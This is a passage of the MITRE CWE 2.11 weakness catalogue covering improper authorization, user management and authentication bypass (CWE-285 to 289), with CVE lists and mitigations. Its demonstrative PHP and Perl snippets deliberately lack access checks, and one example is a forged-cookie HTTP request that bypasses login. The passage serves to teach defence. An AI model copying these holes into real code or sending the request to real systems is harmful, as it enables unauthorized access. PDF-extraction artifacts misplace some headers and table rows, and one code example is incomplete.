  Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software’s design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

- **Automated Dynamic Analysis**

  Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

- **Manual Analysis**
  - Moderate

  This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

  Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

  These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

- **Manual Static Analysis - Binary / Bytecode**

  According to SOAR, the following detection techniques may be useful:

  - Cost effective for partial coverage:
    - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
CWE-285: Improper Authorization

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Host Application Interface Scanner
- Fuzz Tester
- Framework-based Fuzzer
- Forced Path Execution
- Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
This function runs an arbitrary SQL query on a given database, returning the result of the query.

PHP Example:

```php
function runEmployeeQuery($dbName, $name){
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);

    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2:
The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

**Perl Example:**

```perl
sub DisplayPrivateMessage { 
    my($id) = @_; 
    my $Message = LookupMessageObject($id); 
    print "From: " . encodeHTML($Message->{from}) . "<br>
"; 
    print "Subject: " . encodeHTML($Message->{subject}) . "
"; 
    print "Body: " . encodeHTML($Message->{body}) . "
"; 
} 
my $q = new CGI; 
# For purposes of this example, assume that CWE-309 and 
# CWE-523 do not apply. 
if (! AuthenticateUser($q->param('username'), $q->param('password'))) { 
    ExitError("invalid username or password"); 
} 
my $id = $q->param('id'); 
DisplayPrivateMessage($id); 
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1155</td>
<td>Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.</td>
</tr>
<tr>
<td>CVE-2005-2801</td>
<td>Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.</td>
</tr>
<tr>
<td>CVE-2005-3623</td>
<td>OS kernel does not check for a certain privilege before setting ACLs for files.</td>
</tr>
<tr>
<td>CVE-2006-6679</td>
<td>Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.</td>
</tr>
<tr>
<td>CVE-2007-2925</td>
<td>Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.</td>
</tr>
<tr>
<td>CVE-2008-3424</td>
<td>Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.</td>
</tr>
<tr>
<td>CVE-2008-4577</td>
<td>ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.</td>
</tr>
<tr>
<td>CVE-2008-5027</td>
<td>System monitoring software allows users to bypass authorization by creating custom forms.</td>
</tr>
<tr>
<td>CVE-2008-6123</td>
<td>Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.</td>
</tr>
<tr>
<td>CVE-2008-6548</td>
<td>Product does not check the ACL of a page accessed using an &quot;include&quot; directive, allowing attackers to read unauthorized files.</td>
</tr>
<tr>
<td>CVE-2008-7109</td>
<td>Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.</td>
</tr>
<tr>
<td>CVE-2009-0034</td>
<td>Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.</td>
</tr>
<tr>
<td>CVE-2009-2213</td>
<td>Gateway uses default &quot;Allow&quot; configuration for its authorization settings.</td>
</tr>
<tr>
<td>CVE-2009-2282</td>
<td>Terminal server does not check authorization for guest access.</td>
</tr>
<tr>
<td>CVE-2009-2960</td>
<td>Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.</td>
</tr>
<tr>
<td>CVE-2009-3168</td>
<td>Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-285: Improper Authorization

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-3230</td>
<td>Database server does not use appropriate privileges for certain sensitive operations.</td>
</tr>
<tr>
<td>CVE-2009-3597</td>
<td>Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.</td>
</tr>
<tr>
<td>CVE-2009-3781</td>
<td>Content management system does not check access permissions for private files, allowing others to view those files.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

#### Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

#### Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [R.285.5] and the OWASP ESAPI Access Control feature [R.285.4].

#### Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

#### System Configuration

Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a “default deny” policy when defining these ACLs.

### Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>254</td>
<td>Security Features</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>284</td>
<td>Improper Access Control</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>721</td>
<td>OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access</td>
<td>629</td>
</tr>
</tbody>
</table>
# CWE-285: Improper Authorization

## Nature | Type | ID | Name
---|---|---|---
ChildOf | C | 723 | OWASP Top Ten 2004 Category A2 - Broken Access Control
ChildOf | C | 753 | 2009 Top 25 - Porous Defenses
ChildOf | C | 803 | 2010 Top 25 - Porous Defenses
ChildOf | C | 817 | OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
ChildOf | C | 840 | Business Logic Errors
ChildOf | C | 935 | OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
ChildOf | C | 945 | SFP Secondary Cluster: Insecure Resource Access
ParentOf | V | 219 | Sensitive Data Under Web Root
ParentOf | V | 732 | Incorrect Permission Assignment for Critical Resource
ParentOf | V | 862 | Missing Authorization
ParentOf | V | 863 | Incorrect Authorization
ParentOf | V | 926 | Improper Export of Android Application Components
ParentOf | V | 927 | Use of Implicit Intent for Sensitive Communication

## Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A10</td>
<td>CWE More Specific</td>
<td>Failure to Restrict URL Access</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A2</td>
<td>CWE More Specific</td>
<td>Broken Access Control</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP35</td>
<td></td>
<td>Insecure resource access</td>
</tr>
</tbody>
</table>

## Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Accessing Functionality Not Properly Constrained by ACLs</td>
</tr>
<tr>
<td>13</td>
<td>Subverting Environment Variable Values</td>
</tr>
<tr>
<td>17</td>
<td>Accessing, Modifying or Executing Executable Files</td>
</tr>
<tr>
<td>39</td>
<td>Manipulating Opaque Client-based Data Tokens</td>
</tr>
<tr>
<td>45</td>
<td>Buffer Overflow via Symbolic Links</td>
</tr>
<tr>
<td>51</td>
<td>Poison Web Service Registry</td>
</tr>
<tr>
<td>59</td>
<td>Session Credential Falsification through Prediction</td>
</tr>
<tr>
<td>60</td>
<td>Reusing Session IDs (aka Session Replay)</td>
</tr>
<tr>
<td>76</td>
<td>Manipulating Web Input to File System Calls</td>
</tr>
<tr>
<td>77</td>
<td>Manipulating User-Controlled Variables</td>
</tr>
<tr>
<td>87</td>
<td>Forceful Browsing</td>
</tr>
<tr>
<td>104</td>
<td>Cross Zone Scripting</td>
</tr>
<tr>
<td>127</td>
<td>Directory Indexing</td>
</tr>
</tbody>
</table>

## References

NIST. "Role Based Access Control and Role Based Security". <http://csrc.nist.gov/groups/SNS/rbac/ >.


CWE-286: Incorrect User Management

**Description**

**Summary**
The software does not properly manage a user within its environment.

**Extended Description**
Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Other**

**Varies by context**

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>284</td>
<td>Improper Access Control</td>
<td>500</td>
</tr>
<tr>
<td></td>
<td></td>
<td>944</td>
<td>SFP Secondary Cluster: Access Management</td>
<td>1375</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>842</td>
<td>Placement of User into Incorrect Group</td>
<td>1290</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>User management errors</td>
</tr>
</tbody>
</table>

**Maintenance Notes**

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693). This item needs more work. Possible sub-categories include: user in wrong group, and user with insecure profile or "configuration". It also might be better expressed as a category than a weakness.

---

CWE-287: Improper Authentication

**Description**

**Summary**
When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.

**Alternate Terms**
authentification
An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.

AuthC
"AuthC" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- Language-independent

Common Consequences
Integrity
Confidentiality
Availability
Access Control
Read application data
Gain privileges / assume identity
Execute unauthorized code or commands
This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

Likelihood of Exploit
Medium to High

Detection Methods
Automated Static Analysis
Limited
Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.
Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Manual Static Analysis
High
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Fuzz Tester
- Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Configuration Checker

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction

Demonstrative Examples

Example 1:
The following code intends to ensure that the user is already logged in. If not, the code performs
authentication with the user-provided username and password. If successful, it sets the loggedin
and user cookies to "remember" that the user has already logged in. Finally, the code performs
administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user
cookie.

Perl Example:

```perl
my $q = new CGI;
if ($q->cookie('loggedin') ne "true") {
    if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
        ExitError("Error: you need to log in first");
    } else {
        # Set loggedin and user cookies.
        $q->cookie(
            -name => 'loggedin',
            -value => 'true'
        );
    }
}
```
Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

```
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true
[body of request]
```

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

**Example 2:**

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force with a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

**References**


**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-0408</td>
<td>chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.</td>
</tr>
<tr>
<td>CVE-2005-3435</td>
<td>product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.</td>
</tr>
<tr>
<td>CVE-2009-1048</td>
<td>VOIP product allows authentication bypass using 127.0.0.1 in the Host header.</td>
</tr>
<tr>
<td>CVE-2009-1596</td>
<td>product does not properly implement a security-related configuration setting, allowing authentication bypass.</td>
</tr>
<tr>
<td>CVE-2009-2168</td>
<td>chain: redirect without exit (CWE-698) leads to resultant authentication bypass.</td>
</tr>
<tr>
<td>CVE-2009-2213</td>
<td>product uses default &quot;Allow&quot; action, instead of default deny, leading to authentication bypass.</td>
</tr>
<tr>
<td>CVE-2009-2382</td>
<td>admin script allows authentication bypass by setting a cookie value to &quot;LOGGEDIN&quot;.</td>
</tr>
<tr>
<td>CVE-2009-2422</td>
<td>authentication routine returns &quot;nil&quot; instead of &quot;false&quot; in some situations, allowing authentication bypass using an invalid username.</td>
</tr>
<tr>
<td>CVE-2009-3107</td>
<td>product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.</td>
</tr>
<tr>
<td>CVE-2009-3231</td>
<td>use of LDAP authentication with anonymous binds causes empty password to result in successful authentication</td>
</tr>
<tr>
<td>CVE-2009-3232</td>
<td>authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.</td>
</tr>
<tr>
<td>CVE-2009-3421</td>
<td>login script for guestbook allows bypassing authentication by setting a &quot;login_ok&quot; parameter to 1.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
CWE Version 2.11
CWE-287: Improper Authentication

Architecture and Design
Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>284</td>
<td>Improper Access Control</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>718</td>
<td>OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management</td>
<td>629</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1117</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1120</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>812</td>
<td>OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management</td>
<td>809</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1250</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>930</td>
<td>OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management</td>
<td>928</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1363</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>935</td>
<td>OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control</td>
<td>928</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1365</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>947</td>
<td>SFP Secondary Cluster: Authentication Bypass</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1376</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>261</td>
<td>Weak Cryptography for Passwords</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>465</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>262</td>
<td>Not Using Password Aging</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>467</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>263</td>
<td>Password Aging with Long Expiration</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>468</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>288</td>
<td>Authentication Bypass Using an Alternate Path or Channel</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>513</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>289</td>
<td>Authentication Bypass by Alternate Name</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>514</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>516</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>294</td>
<td>Authentication Bypass by Capture-replay</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>521</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>533</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>302</td>
<td>Authentication Bypass by Assumed-Immutable Data</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>535</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>303</td>
<td>Incorrect Implementation of Authentication Algorithm</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>536</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>304</td>
<td>Missing Critical Step in Authentication</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>536</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>305</td>
<td>Authentication Bypass by Primary Weakness</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>537</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>306</td>
<td>Missing Authentication for Critical Function</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>538</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>307</td>
<td>Improper Restriction of Excessive Authentication Attempts</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>542</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>308</td>
<td>Use of Single-factor Authentication</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>545</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>309</td>
<td>Use of Password System for Primary Authentication</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>546</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>384</td>
<td>Session Fixation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>665</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>521</td>
<td>Weak Password Requirements</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>864</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>865</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>593</td>
<td>Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>935</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>603</td>
<td>Use of Client-Side Authentication</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>952</td>
</tr>
<tr>
<td>CanFollow</td>
<td>E</td>
<td>613</td>
<td>Insufficient Session Expiration</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>962</td>
</tr>
</tbody>
</table>
CWE-288: Authentication Bypass Using an Alternate Path or Channel

Relationship Notes
This can be resultant from SQL injection vulnerabilities and other issues.

Functional Areas
- Authentication

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Authentication Error</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A7</td>
<td>CWE More Specific</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A3</td>
<td>CWE More Specific</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>WASC</td>
<td>1</td>
<td></td>
<td>Insufficient Authentication</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>22</td>
<td>Exploiting Trust in Client</td>
<td></td>
</tr>
<tr>
<td>57</td>
<td>Utilizing REST’s Trust in the System Resource to Register Man in the Middle</td>
<td></td>
</tr>
<tr>
<td>94</td>
<td>Man in the Middle Attack</td>
<td></td>
</tr>
<tr>
<td>114</td>
<td>Authentication Abuse</td>
<td></td>
</tr>
<tr>
<td>151</td>
<td>Identity Spoofing</td>
<td></td>
</tr>
<tr>
<td>593</td>
<td>Session Hijacking</td>
<td></td>
</tr>
</tbody>
</table>

References

CWE-288: Authentication Bypass Using an Alternate Path or Channel

Weakness ID: 288 (Weakness Base) Status: Incomplete

Description

Summary
A product requires authentication, but the product has an alternate path or channel that does not require authentication.

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- All
CWE Version 2.11
CWE-289: Authentication Bypass by Alternate Name

Modes of Introduction
This is often seen in web applications that assume that access to a particular CGI program can only be obtained through a "front" screen, when the supporting programs are directly accessible. But this problem is not just in web apps.

Common Consequences
Access Control
Bypass protection mechanism

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1077</td>
<td>OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock.</td>
</tr>
<tr>
<td>CVE-1999-1454</td>
<td>Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key.</td>
</tr>
<tr>
<td>CVE-2000-1179</td>
<td>Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters.</td>
</tr>
<tr>
<td>CVE-2002-0066</td>
<td>Bypass authentication via direct request to named pipe.</td>
</tr>
<tr>
<td>CVE-2002-0870</td>
<td>Attackers may gain additional privileges by directly requesting the web management URL.</td>
</tr>
<tr>
<td>CVE-2003-0304</td>
<td>Direct request of installation file allows attacker to create administrator accounts.</td>
</tr>
<tr>
<td>CVE-2003-1035</td>
<td>User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699 508</td>
<td></td>
</tr>
<tr>
<td>PeerOf</td>
<td>420</td>
<td>Unprotected Alternate Channel</td>
<td>1000 725</td>
<td></td>
</tr>
<tr>
<td>PeerOf</td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
<td>1000 729</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>721</td>
<td>OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access</td>
<td>629 1118</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>840</td>
<td>Business Logic Errors</td>
<td>699 1287</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>947</td>
<td>SFP Secondary Cluster: Authentication Bypass</td>
<td>888 1376</td>
<td></td>
</tr>
</tbody>
</table>

Relationship Notes
overlaps Unprotected Alternate Channel

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
